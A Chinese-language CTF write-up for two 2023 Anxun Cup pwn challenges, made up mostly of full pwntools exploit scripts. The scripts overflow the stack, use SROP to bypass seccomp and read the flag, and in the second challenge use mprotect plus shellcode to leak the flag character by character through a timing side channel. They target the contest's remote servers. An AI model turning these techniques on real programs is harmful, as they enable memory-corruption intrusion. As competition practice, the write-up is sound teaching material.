【PWN】安洵杯2023pwn-wp

admin 2024年1月10日15:12:12评论28 views字数 4493阅读14分58秒阅读模式

做了一个多小时写了两题pwn,都是栈溢出类型的题目,其中有一题涉及到了侧信道攻击,我也是现学了一下。写个文章记录一下,以后可能会用到。

1、seccomp

【PWN】安洵杯2023pwn-wp

只允许read,write,open,rt_sigreturnchmod的系统调用,使用SROP+orw输出flag

from pwn import *

context(arch="amd64", os="linux")
context.log_level = "debug"

# p = process("./chall")
p = remote("47.108.206.43"32128)
elf = ELF("./chall")

# first input
syscall_addr = 0x40118a
gadget1 = 0x401193 # mov rax, 0xF; ret
stack_addr = 0x404060
filename = stack_addr + 0x600
flags = stack_addr + 0x610
flag_addr = stack_addr + 0x700

frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_open
frame.rdi = filename
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr + 0x100
frame.rip = syscall_addr

payload = p64(gadget1) + p64(syscall_addr) + bytes(frame)
payload += b"a" * (0x100 - len(payload))

frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = 3
frame.rsi = flag_addr
frame.rdx = 0x100
frame.rsp = stack_addr + 0x230
frame.rip = syscall_addr

payload += p64(gadget1) + p64(syscall_addr) + bytes(frame)
payload += b"a" * (0x230 - len(payload))

frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_write
frame.rdi = 0x1
frame.rsi = flag_addr
frame.rdx = 0x100
frame.rsp = stack_addr
frame.rip = syscall_addr

payload += p64(0) + p64(gadget1) + p64(syscall_addr) + bytes(frame)

payload += b"a" * (0x600 - len(payload))
payload += b"./flagx00"
p.sendlineafter(b"easyhackn", payload)

# second input
leave_ret = 0x40143C
offset = 0x2A
payload = b"a" * offset + p64(stack_addr - 0x8) + p64(leave_ret)
p.sendlineafter(b"n", payload)

p.interactive()

2、side_channel

【PWN】安洵杯2023pwn-wp

只允许read,mprotect,open,rt_sigreturnchmod的系统调用,使用SROP读取flag,然后更改bss的执行权限,最后使用侧信道攻击猜测flag

exp中写了几个try-except语句,主要是远程环境一直出错,我直接写了出错就不断重试,直到成功为止,但是本地不会有这种问题。

"""seccomp-tools dump ./chall"""

from pwn import *
from time import sleep
context(arch="amd64", os="linux")
# context.log_level = "debug"

shellcode = """
mov rax,rsi
mov bl,byte ptr [rax+{}]
cmp bl,{}
je $-3
"""


s = "abcdef1234567890-"
list = [ord(x) for x in s]
flag = ""
"""f1465e42-a181-11ee-a4e3-00163e0447d0"""
index = 0
while True:
    i = 0
    while i < len(s):
        log.info(f"index:{index}, i:{chr(list[i])}")
        # p = process("./chall")
        p = remote("47.108.206.43"32469)
        elf = ELF("./chall")

        gadget = 0x401193
        stack_addr = 0x404060
        bss_addr = 0x404000
        syscall_addr = 0x040118a
        filename = stack_addr + 0x600
        flag_addr = stack_addr + 0x700

        # mprotect 0x404000 - 0x405000
        frame = SigreturnFrame(kernel="amd64")
        frame.rax = constants.SYS_mprotect
        frame.rdi = bss_addr
        frame.rsi = 0x1000
        frame.rdx = 0x7
        frame.rsp = stack_addr + 0x100
        frame.rip = syscall_addr

        payload = p64(gadget) + p64(syscall_addr) + bytes(frame)
        payload += b"a" * (0x100 - len(payload))

        # open
        frame = SigreturnFrame(kernel="amd64")
        frame.rax = constants.SYS_open
        frame.rdi = filename
        frame.rsi = 0
        frame.rdx = 0
        frame.rsp = stack_addr + 0x230
        frame.rip = syscall_addr

        payload += p64(gadget) + p64(syscall_addr) + bytes(frame)
        payload += b"a" * (0x230 - len(payload))

        # read
        frame = SigreturnFrame(kernel="amd64")
        frame.rax = constants.SYS_read
        frame.rdi = 3
        frame.rsi = flag_addr
        frame.rdx = 0x100
        frame.rsp = stack_addr + 0x350
        frame.rip = syscall_addr

        payload += p64(0) + p64(gadget) + p64(syscall_addr) + bytes(frame)
        payload += b"a" * (0x350 - len(payload))

        payload += p64(0) + p64(stack_addr + 0x360)
        payload += asm(shellcode.format(index, list[i]))
        payload += b"a" * (0x600 - len(payload))
        payload += b"./flagx00"

        p.sendlineafter(b"easyhackn", payload)

        # second input
        leave_ret = 0x401446
        offset = 0x2A
        payload = b"a" * offset + p64(stack_addr - 0x8) + p64(leave_ret)
        
        catch_error = 0
        try:
            p.recvuntil(b"n")
            p.sendline(payload)
        except:
            catch_error = 1
            pass

        try:
            p.recv(timeout=2)
            flag += chr(list[i])
            log.success(f"flag:{flag}")
            index = index + 1
            break
        except:
            if catch_error == 0:
                i = i + 1
            pass
        finally:
            p.close()
        
    if index > 35:
        break

参考链接

1、侧信道攻击:https://www.cnblogs.com/ZIKH26/articles/16546513.html

2、64位系统调用号:https://blog.csdn.net/yldfree/article/details/106716248

原文始发于微信公众号(Stack0verf1ow):【PWN】安洵杯2023pwn-wp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日15:12:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】安洵杯2023pwn-wphttp://cn-sec.com/archives/2347792.html

发表评论

匿名网友 填写信息